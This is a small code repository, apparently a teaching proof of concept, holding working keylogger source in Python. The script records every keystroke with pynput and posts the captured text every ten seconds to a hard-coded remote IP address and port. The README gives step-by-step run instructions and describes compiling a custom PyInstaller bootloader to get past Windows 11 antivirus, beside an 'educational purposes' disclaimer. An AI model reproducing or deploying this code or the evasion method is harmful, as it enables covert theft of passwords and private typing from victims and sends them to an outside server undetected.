├── README.md ├── keylogger.py └── requirements.txt /README.md: -------------------------------------------------------------------------------- 1 | # Simple Python Keylogger with Pynput. Sending data to a server. 2 | ## This code DOES NOT promote or encourage any illegal activities! The content in this document is provided solely for educational purposes and to create awareness! 3 | 4 | ## This is a proof of concept and could be improved on in a lot of ways. 5 | 6 | 1. To run this code use `git clone https://github.com/davidbombal/python-keylogger.git` 7 | 2. Run the command `cd python-keylogger` 8 | 3. Create Virtual Environment in Windows. Using command `\py -m venv keylogger_env` 9 | 4. Run command `keylogger_env\Scripts\activate` 10 | 5. Run the command `pip install -r requirements.txt` to install all the packages required in your virtual environment. 11 | 6. Run `py keylogger.py` this will run the program. 12 | 13 | ### To get the file to run on Windows 11 evading the antivirus I compiled the PyInstaller bootloader locally using Microsoft C/C++ compiler, and then used it to compile the code. 14 | -------------------------------------------------------------------------------- /keylogger.py: -------------------------------------------------------------------------------- 1 | # Install pynput using the following command: pip install pynput 2 | # Import the mouse and keynboard from pynput 3 | from pynput import keyboard 4 | # We need to import the requests library to Post the data to the server. 5 | import requests 6 | # To transform a Dictionary to a JSON string we need the json package. 7 | import json 8 | # The Timer module is part of the threading package. 9 | import threading 10 | 11 | # We make a global variable text where we'll save a string of the keystrokes which we'll send to the server. 12 | text = "" 13 | 14 | # Hard code the values of your server and ip address here. 15 | ip_address = "109.74.200.23" 16 | port_number = "8080" 17 | # Time interval in seconds for code to execute. 18 | time_interval = 10 19 | 20 | def send_post_req(): 21 | try: 22 | # We need to convert the Python object into a JSON string. So that we can POST it to the server. Which will look for JSON using 23 | # the format {"keyboardData" : ""} 24 | payload = json.dumps({"keyboardData" : text}) 25 | # We send the POST Request to the server with ip address which listens on the port as specified in the Express server code. 26 | # Because we're sending JSON to the server, we specify that the MIME Type for JSON is application/json. 27 | r = requests.post(f"http://{ip_address}:{port_number}", data=payload, headers={"Content-Type" : "application/json"}) 28 | # Setting up a timer function to run every specified seconds. send_post_req is a recursive function, and will call itself as long as the program is running. 29 | timer = threading.Timer(time_interval, send_post_req) 30 | # We start the timer thread. 31 | timer.start() 32 | except: 33 | print("Couldn't complete request!") 34 | 35 | # We only need to log the key once it is released. That way it takes the modifier keys into consideration. 36 | def on_press(key): 37 | global text 38 | 39 | # Based on the key press we handle the way the key gets logged to the in memory string. 40 | # Read more on the different keys that can be logged here: 41 | # https://pynput.readthedocs.io/en/latest/keyboard.html#monitoring-the-keyboard 42 | if key == keyboard.Key.enter: 43 | text += "\n" 44 | elif key == keyboard.Key.tab: 45 | text += "\t" 46 | elif key == keyboard.Key.space: 47 | text += " " 48 | elif key == keyboard.Key.shift: 49 | pass 50 | elif key == keyboard.Key.backspace and len(text) == 0: 51 | pass 52 | elif key == keyboard.Key.backspace and len(text) > 0: 53 | text = text[:-1] 54 | elif key == keyboard.Key.ctrl_l or key == keyboard.Key.ctrl_r: 55 | pass 56 | elif key == keyboard.Key.esc: 57 | return False 58 | else: 59 | # We do an explicit conversion from the key object to a string and then append that to the string held in memory. 60 | text += str(key).strip("'") 61 | 62 | # A keyboard listener is a threading.Thread, and a callback on_press will be invoked from this thread. 63 | # In the on_press function we specified how to deal with the different inputs received by the listener. 64 | with keyboard.Listener( 65 | on_press=on_press) as listener: 66 | # We start of by sending the post request to our server. 67 | send_post_req() 68 | listener.join() 69 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | certifi==2022.6.15 2 | charset-normalizer==2.1.0 3 | idna==3.3 4 | pynput==1.7.6 5 | requests==2.28.1 6 | six==1.16.0 7 | urllib3==1.26.11 8 | --------------------------------------------------------------------------------